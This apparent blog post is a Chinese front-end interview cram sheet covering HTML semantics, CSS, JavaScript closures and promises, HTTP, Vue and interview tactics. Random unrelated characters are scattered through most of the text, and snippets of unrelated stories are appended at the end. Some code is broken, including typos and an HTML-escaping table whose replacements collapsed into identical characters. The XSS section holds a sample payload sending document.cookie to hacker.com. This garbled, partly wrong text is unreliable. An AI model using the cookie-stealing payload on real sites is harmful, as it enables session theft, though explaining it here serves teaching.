前端面試題

HTML 押題

1. (必考) 你是如何理解 HTML 語義化的婿着?

第一種舉例沿侈,段落用 p衣形,邊欄用 aside翎苫,主要內(nèi)容用main標簽 第二種

最開始是 PHP 后端寫 HTML嘉抒,不會 CSS零聚,于是就用 table 來布局。table 使用展示表格的些侍。嚴重違反了 HTML 語義化握牧。

后來有了專門的寫 CSS 的前端,他們會使用 DIV + CSS 布局娩梨,主要是用 float 和絕對定位布局沿腰。稍微符合了 HTML 語義化。

再后來狈定,前端專業(yè)化颂龙,知道 HTML 的各個標簽的用法习蓬,于是會使用恰當?shù)臉撕瀬碚故緝?nèi)容,而不是傻傻的全用 div措嵌,會盡量使用 h1躲叼、ul、p企巢、main枫慷、header 等標簽

語義化的好處是已讀、有利于SEO等浪规。

第三種:對面試官說請看我的博客 https://zhuanlan.zhihu.com/p/32570423

2. meta viewport 是做什么用的或听,怎么寫?

死背:
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
控制頁面在移動端不要縮小顯示笋婿, 侃侃而談誉裆。

一開始,所有頁面都是給PC準備的缸濒,喬布斯推出 iPhone 3GS足丢,頁面是不適應手機屏幕的,所以喬布斯的工程師想了一個辦法庇配,默認把手機模擬成 980px斩跌,頁面縮小。

后來捞慌,智能手機普及耀鸦,這個功能在部分網(wǎng)站不需要了,所以我們就用 meta:vp 讓手機不要縮小我的網(wǎng)頁卿闹。

3. canvas 元素是干什么的揭糕?

項目丟給他。 看 MDN 的 canvas 入門手冊锻霎。

CSS 押題

1. (必考) 說說盒模型著角。

舉例:
content-box: width == 內(nèi)容區(qū)寬度
border-box: width == border 寬度 + 內(nèi)容區(qū)寬度 + padding 寬度,高度以此類推旋恼。

2. css reset 和 normalize.css 有什么區(qū)別吏口?

考英文:

reset 重置,之前的樣式我不要冰更,a{color: red;}产徊,拋棄默認樣式。

normalize 讓所有瀏覽器的標簽都跟標準規(guī)定的默認樣式一致蜀细,各瀏覽器上的標簽默認樣式基本統(tǒng)一舟铜。

3. (必考)如何居中?

平時總結(jié):

水平居中:

內(nèi)聯(lián):爸爸身上寫 text-align:center;

塊級:margin-left: auto; margin-right: auto;

垂直居中: https://jscode.me/t/topic/1936

4. 選擇器優(yōu)先級如何確定奠衔?

選擇器越具體谆刨,優(yōu)先級越高塘娶。 #xxx 大于 .yyy

同樣優(yōu)先級,寫在后面的覆蓋前面的痊夭。

color: red !important; 優(yōu)先級最高刁岸。

5. BFC 是什么?

舉例:

overflow:hidden 清除浮動她我。(方方總是用.clearfix清除浮動虹曙,堅決不用 overflow:hidden 清除浮動)

overflow:hidden 取消父子margin合并。http://jsbin.com/conulod/1/edit?html,css,js,output (方方用 padding-top: 1px;)

6. 如何清除浮動番舆?

overflow: hidden(方方反對)

.clearfix 清除浮動寫在爸爸身上

.clearfix::after{
    content: '';
    display: block;
    clear: both;
}

.clearfix{

    zoom: 1; /* IE 兼容 */

}

JS 押題

1. JS 有哪些數(shù)據(jù)類型酝碳?

string
umber
bool
undefined
null
object
symbol

object 包括了數(shù)組、函數(shù)合蔽、正則击敌、日期等對象 一旦出現(xiàn)(數(shù)組介返、函數(shù)拴事、正則、日期圣蝎、NaN)直接0分

2. (必考) Promise 怎么使用刃宵?

then

$.ajax(...).then(成功函數(shù), 失敗函數(shù))

鏈式 then

$.ajax(...).then(成功函數(shù), 失敗函數(shù)).then(成功函數(shù)2, 失敗函數(shù)2)

3. 如何自己生成 Promise 對象

function xxx(){
    return new Promise(function(resolve, reject){
    setTimeout(()=>{
        resolve() 或者 reject()
    },3000)
  })
}

xxx().then(...)

4. (必考) AJAX 手寫一下?

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function(){
  if(xhr.readyState === 4&&xhr.status===200){
    console.log(xhr.responseText)
  }
}
xhr.open('POST', '/xxxx')
xhr.send('a=1&b=2')

readyState存儲著xhr的5種狀態(tài)徘公,分別是:
0: 請求未初始化
1: 服務器連接已建立
2: 請求已接收
3: 請求處理中
4: 請求已完成牲证,且響應已就緒

5. (必考)閉包是什么?

function sum(){
  var n = 0
  return function num(){
      n += 1
      console.log(n)
    }
}

let adder = sum()

adder() // n === 1

adder() // n === 2
sum()
sum()

正確參考:https://zhuanlan.zhihu.com/p/22486908

6. (必考)這段代碼里的 this 是什么关面?

fn() 里面的 this 就是 window

fn() 是 strict mode坦袍,this 就是 undefined

a.b.c.fn() 里面的 this 就是 a.b.c

new F() 里面的 this 就是新生成的實例

() => console.log(this) 里面 this 跟外面的 this 的值一模一樣 正確參考:https://zhuanlan.zhihu.com/p/23804247

7. (必考)什么是立即執(zhí)行函數(shù)?使用立即執(zhí)行函數(shù)的目的是什么等太?

(function (){

var name

}())

(function (){

var name

})()

!!!!!!!function (){

var name

}()

~function (){

var name

}()

造出一個函數(shù)作用域捂齐,防止污染全局變量

ES 6 新語法

{

let name

}

8. async/await 語法了解嗎?目的是什么缩抡?

function returnPromise(){

return new Promise( function(resolve, reject){

setTimeout(()=>{

resolve('fuck')

},3000)

})

}

returnPromise().then((result)=>{

result === 'fuck'

})

var result = await returnPromise()  
// 注意只有控制臺支持頂級作用域的 await奠宜,JS 文件里的 await 只能寫在 async 函數(shù)里

result === 'fuck'

把異步代碼寫成同步代碼。

9. 如何實現(xiàn)深拷貝瞻想?

JSON 來深拷貝

var a = {...}

var b = JSON.parse( JSON.stringify(a) )

缺點:JSON 不支持函數(shù)压真、引用、undefined蘑险、RegExp滴肿、Date……

遞歸拷貝

function clone(object){

var object2

if(! (object instanceof Object) ){

return object

}else if(object instanceof Array){

object2 = []

}else if(object instanceof Function){

object2 = eval(object.toString())

}else if(object instanceof Object){

object2 = {}

}

你也可以把 Array Function Object 都當做 Object 來看待,參考 https://juejin.im/post/587dab348d6d810058d87a0a

for(let key in object){

object2[key] = clone(object[key])

}

return object2

}

環(huán)

RegExp佃迄、Date泼差、Set竿音、Symbol、WeakMap

10. 如何實現(xiàn)數(shù)組去重拴驮?

計數(shù)排序的邏輯(只能正整數(shù))

var a = [4,2,5,6,3,4,5]

var hashTab = {}

for(let i=0; i<a.length;i++){

if(a[i] in hashTab){

// 什么也不做

}else{

hashTab[ a[i] ] = true

}

}

//hashTab: {4: true, 2: true, 5: true, 6:true, 3: true}

console.log(Object.keys(hashTab))// ['4','2','5','6','3']

Set 去重

Array.from(new Set(a))

WeakMap 任意類型去重

如何用正則實現(xiàn) string.trim() 春瞬?

function trim(string){

return string.replace(/^\s+|\s+$/g, '')

}

11. JS 原型是什么?

舉例

var a = [1,2,3]

只有0套啤、1宽气、2、length 4 個key

為什么可以 a.push(4) 潜沦,push 是哪來的萄涯?

a.__proto__ === Array.prototype

push 就是沿著 a.proto 找到的,也就是Array.prototype.push

Array.prototype還有很多方法唆鸡,如 join涝影、pop、slice争占、splice

Array.prototype就是 a 的原型(proto) 參考:https://zhuanlan.zhihu.com/p/23090041

ES 6 中的 class 了解嗎燃逻?

把 MDN class 章節(jié)看完

記住一個例子

12. JS 如何實現(xiàn)繼承?

原型鏈

function Animal(){

this.body = '肉體'

}

Animal.prototype.move = function(){

}

function Human(name){

Animal.apply(this, arguments)

his.name = name

}

// Human.prototype.__proto__ = Animal.prototype //非法

var f = function(){}

f.prototype = Animal.prototype

Human.prototype = new f()

Human.prototype.useTools = function(){}

var frank = new Human()

extends關(guān)鍵字

class Animal{

constructor(){

this.body = '肉體'

},

move(){}

}

class Human extends Animal{

constructor(name){

super()

this.name = name

},

useTools(){}

}

var frank = new Human()

== 相關(guān)題目直接反著答(放棄)

DOM 押題

DOM 事件模型是什么臂痕?

冒泡

捕獲

如果這個元素是被點擊的元素伯襟,那么捕獲不一定在冒泡之前,順序是由監(jiān)聽順序決定的握童。

移動端的觸摸事件了解嗎姆怪?

touchstart touchmove touchend touchcancel

模擬 swipe 事件:記錄兩次 touchmove 的位置差,如果后一次在前一次的右邊澡绩,說明向右滑了稽揭。

事件委托是什么?有什么好處肥卡?

假設父元素有4個兒子溪掀,我不監(jiān)聽4個兒子,而是監(jiān)聽父元素召调,看觸發(fā)事件的元素是哪個兒子膨桥,這就是事件委托。

可以監(jiān)聽還沒有出生的兒子(動態(tài)生成的元素)唠叛。省監(jiān)聽器只嚣。

function listen(element, eventType, selector, fn){

element.addEventListener(eventType, e=>{

if(e.target.matches(selector)){

fn.call(el, e, el)

}

})

}// 有 bug 但是可以應付面試官的事件委托

function listen(element, eventType, selector, fn) {

element.addEventListener(eventType, e => {

let el = e.target

while (!el.matches(selector)) {

if (element === el) {

el = null

break

}

el = el.parentNode

}

el && fn.call(el, e, el)

})

return element

} // 工資 12k+ 的前端寫的事件委托

listen(ul, 'click', 'li', ()=>{})

ul>li*5>span

HTTP 押題

HTTP 狀態(tài)碼知道哪些?

301 和 302 的區(qū)別是什么艺沼?

301 永久重定向册舞,瀏覽器會記住

302 臨時重定向

HTTP 緩存怎么做?

Cache-Control: max-age=300

http://cdn.com/1.js?v=1 避開緩存

Cache-Control 和 Etag 的區(qū)別是什么障般?

Cookie 是什么调鲸?Session 是什么盛杰?

Cookie

HTTP響應通過 Set-Cookie 設置 Cookie

瀏覽器訪問指定域名是必須帶上 Cookie 作為 Request Header

Cookie 一般用來記錄用戶信息

Session
Session 是服務器端的內(nèi)存(數(shù)據(jù))

Session 一般通過在 Cookie 里記錄 SessionID 實現(xiàn)

SessionID 一般是隨機數(shù)

LocalStorage 和 Cookie 的區(qū)別是什么?

Cookie 會隨請求被發(fā)到服務器上藐石,而 LocalStorage 不會

Cookie 大小一般4k以下即供,LocalStorage 一般5Mb 左右

(必考)GET 和 POST 的區(qū)別是什么?

參數(shù)于微。GET 的參數(shù)放在 url 的查詢參數(shù)里逗嫡,POST 的參數(shù)(數(shù)據(jù))放在請求消息體里。

安全(扯淡)株依。GET 沒有 POST 安全(都不安全)

GET 的參數(shù)(url查詢參數(shù))有長度限制驱证,一般是 1024 個字符。POST 的參數(shù)(數(shù)據(jù))沒有長度限制(扯淡恋腕,4~10Mb 限制)

包抹锄。GET 請求只需要發(fā)一個包,POST 請求需要發(fā)兩個以上包(因為 POST 有消息體)(扯淡荠藤,GET 也可以用消息體)

GET 用來讀數(shù)據(jù)伙单,POST 用來寫數(shù)據(jù),POST 不冪等(冪等的意思就是不管發(fā)多少次請求商源,結(jié)果都一樣车份。)

(必考)怎么跨域谋减?JSONP 是什么牡彻?CORS 是什么?postMessage 是什么出爹?

JSONP

CORS

postMessage 看一下 MDN

Vue 押題

(必考)Vue 有哪些生命周期鉤子函數(shù)庄吼?

看文檔:https://cn.vuejs.org/v2/api/#%E9%80%89%E9%A1%B9-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%92%A9%E5%AD%90

(必考)Vue 如何實現(xiàn)組件通信?

父子通信(使用 Prop 傳遞數(shù)據(jù)严就、使用 v-on 綁定自定義事件)

爺孫通信(通過兩對父子通信总寻,爺爸之間父子通信,爸兒之間父子通信)

兄弟通信(new Vue() 作為 eventBus)

Vuex 的作用是什么梢为?

看文檔渐行、博客 https://vuex.vuejs.org/zh-cn/intro.html

VueRouter 路由是什么?

看文檔铸董、博客

Vue 的雙向綁定是如何實現(xiàn)的祟印?有什么缺點?

看文檔粟害,深入響應式原理

Computed 計算屬性的用法蕴忆?跟 Methods 的區(qū)別。https://zhuanlan.zhihu.com/p/33778594

算法押題

排序算法(背誦冒泡排序悲幅、選擇排序套鹅、計數(shù)排序站蝠、快速排序、插入排序卓鹿、歸并排序)

二分查找法

翻轉(zhuǎn)二叉樹

把上面三個背一下菱魔,算法題必過。

安全押題

什么是 XSS 攻擊吟孙?如何預防豌习?

舉例

div.innerHTML = userComment // userComment 內(nèi)容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>

// 惡意就被執(zhí)行了,這就是 XSS

預防

不要使用 innerHTML拔疚,改成 innerText肥隆,script 就會被當成文本,不執(zhí)行

如果你一樣要用 innerHTML稚失,字符過濾

把 < 替換成 <

把 > 替換成 >

把 & 替換成 &

把 ' 替換成 '

把 ' 替換成 "

代碼 div.innerHTML = userComment.replace(/>/g, '<').replace...

使用 CSP Content Security Policy

什么是 CSRF 攻擊栋艳?如何預防?

過程

用戶在 qq.com 登錄

用戶切換到 hacker.com(惡意網(wǎng)站)

hacker.com 發(fā)送一個 qq.com/add_friend 請求句各,讓當前用戶添加 hacker 為好友吸占。

用戶在不知不覺中添加 hacker 為好友。

用戶沒有想發(fā)這個請求凿宾,但是 hacker 偽造了用戶發(fā)請求的假象矾屯。

避免

檢查 referer,qq.com 可以拒絕來自 hacker.com 的請求

csrf_token 來解決

Webpack 題

轉(zhuǎn)譯出的文件過大怎么辦初厚?

使用 code split

寫法 import('xxx').then(xxx=>{console.log(xxx)})

xxx 模塊就是按需加載的

轉(zhuǎn)譯速度慢什么辦件蚕?

寫過 webpack loader 嗎?

http://www.alloyteam.com/2016/01/webpack-loader-1/

發(fā)散題

從輸入 URL 到頁面展現(xiàn)中間發(fā)生了什么产禾?

DNS 查詢 DNS 緩存

建立 TCP 連接(三次握手)連接復用

發(fā)送 HTTP 請求(請求的四部分)

后臺處理請求

監(jiān)聽 80 端口

路由

渲染 HTML 模板

生成響應

發(fā)送 HTTP 響應

關(guān)閉 TCP 連接(四次揮手)

解析 HTML

下載 CSS(緩存

解析 CSS

下載 JS(緩存

解析 JS

下載圖片

解析圖片

渲染 DOM 樹

渲染樣式樹

執(zhí)行 JS

你沒有工作經(jīng)歷嗎排作?

一開始就問,可以拜拜亚情。

中間問最后問妄痪,他想壓價。

解法:用項目打動它:你看下我的作品楞件,跟一年經(jīng)驗的前端差距大嗎衫生?你們團隊一年工作經(jīng)驗的前端,寫的出來我這樣的作品嗎土浸?憑我的作品罪针,我覺得我可以勝任貴司的工作。

你遇到過最難的問題是什么栅迄? https://www.zhihu.com/question/35323603/answer/338796153

你的期望薪資是多少站故?****你想要的工資 加 1000~2000。

(任何你不會的問題)

承認不會

詢問詳細細節(jié):你問的是不是XXX方面的知識?請問你想問的是哪方面知識西篓?

根據(jù)面試官的回答愈腾,向有利于自己的方向引導話題。

刁鉆代碼題

map加parseInt

## **[1,2,3].map(parseInt)**

parseInt(1,0, array) // 1

parseInt(2,1, array) // NaN

parseInt(3,2, array) // NaN
a.x = a = {}

var a = {n:1};

var b = a;

a.x = a = {n:2};

問 a.x 是多少岂津?

(a ==1 && a== 2 && a==3)可能為 true 嗎虱黄?

a = {

value: 0,

toString(){

a.value += 1

return a.value

}

}
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市吮成,隨后出現(xiàn)的幾起案子橱乱,更是在濱河造成了極大的恐慌,老刑警劉巖粱甫,帶你破解...
    沈念sama閱讀 212,718評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件泳叠,死亡現(xiàn)場離奇詭異,居然都是意外死亡茶宵,警方通過查閱死者的電腦和手機危纫,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,683評論 3 385
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來乌庶,“玉大人种蝶,你說我怎么就攤上這事÷鞔螅” “怎么了螃征?”我有些...
    開封第一講書人閱讀 158,207評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長透敌。 經(jīng)常有香客問我盯滚,道長,這世上最難降的妖魔是什么拙泽? 我笑而不...
    開封第一講書人閱讀 56,755評論 1 284
  • 正文 為了忘掉前任淌山,我火速辦了婚禮,結(jié)果婚禮上顾瞻,老公的妹妹穿的比我還像新娘。我一直安慰自己德绿,他們只是感情好荷荤,可當我...
    茶點故事閱讀 65,862評論 6 386
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著移稳,像睡著了一般蕴纳。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上个粱,一...
    開封第一講書人閱讀 50,050評論 1 291
  • 那天古毛,我揣著相機與錄音,去河邊找鬼。 笑死稻薇,一個胖子當著我的面吹牛嫂冻,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播塞椎,決...
    沈念sama閱讀 39,136評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼桨仿,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了案狠?” 一聲冷哼從身側(cè)響起服傍,我...
    開封第一講書人閱讀 37,882評論 0 268
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎骂铁,沒想到半個月后吹零,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,330評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡拉庵,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,651評論 2 327
  • 正文 我和宋清朗相戀三年瘪校,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片名段。...
    茶點故事閱讀 38,789評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡阱扬,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出伸辟,到底是詐尸還是另有隱情麻惶,我是刑警寧澤,帶...
    沈念sama閱讀 34,477評論 4 333
  • 正文 年R本政府宣布信夫,位于F島的核電站窃蹋,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏静稻。R本人自食惡果不足惜警没,卻給世界環(huán)境...
    茶點故事閱讀 40,135評論 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望振湾。 院中可真熱鬧杀迹,春花似錦、人聲如沸押搪。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,864評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽大州。三九已至续语,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間厦画,已是汗流浹背疮茄。 一陣腳步聲響...
    開封第一講書人閱讀 32,099評論 1 267
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人力试。 一個月前我還...
    沈念sama閱讀 46,598評論 2 362
  • 正文 我出身青樓徙邻,卻偏偏與公主長得像,于是被迫代替她去往敵國和親懂版。 傳聞我的和親對象是個殘疾皇子鹃栽,可洞房花燭夜當晚...
    茶點故事閱讀 43,697評論 2 351

推薦閱讀更多精彩內(nèi)容

  • HTML HTML5標簽 媒體查詢head部分寫法 Doctype作用? 嚴格模式與混雜模式如何區(qū)分?它們有何意義...
    Mayo_閱讀 640評論 0 8
  • 請參看我github中的wiki躯畴,不定期更新民鼓。https://github.com/ivonzhang/Front...
    zhangivon閱讀 7,118評論 2 19
  • "use strict";function _classCallCheck(e,t){if(!(e instanc...
    久些閱讀 2,028評論 0 2
  • 本篇收錄了一些面試中經(jīng)常會遇到的經(jīng)典面試題以及自己面試過程中遇到的一些問題,并且都給出了我在網(wǎng)上收集的答案蓬抄。馬上就...
    菲菲菲菲妞閱讀 913評論 0 3
  • 生活越接近平淡嚷缭,內(nèi)心越接近絢爛饮亏。經(jīng)歷了世事的智者,終于領(lǐng)悟到阅爽,太過用力太過張揚的東西路幸,一定是虛張聲勢的。而內(nèi)心的安...
    無人問及閱讀 337評論 0 0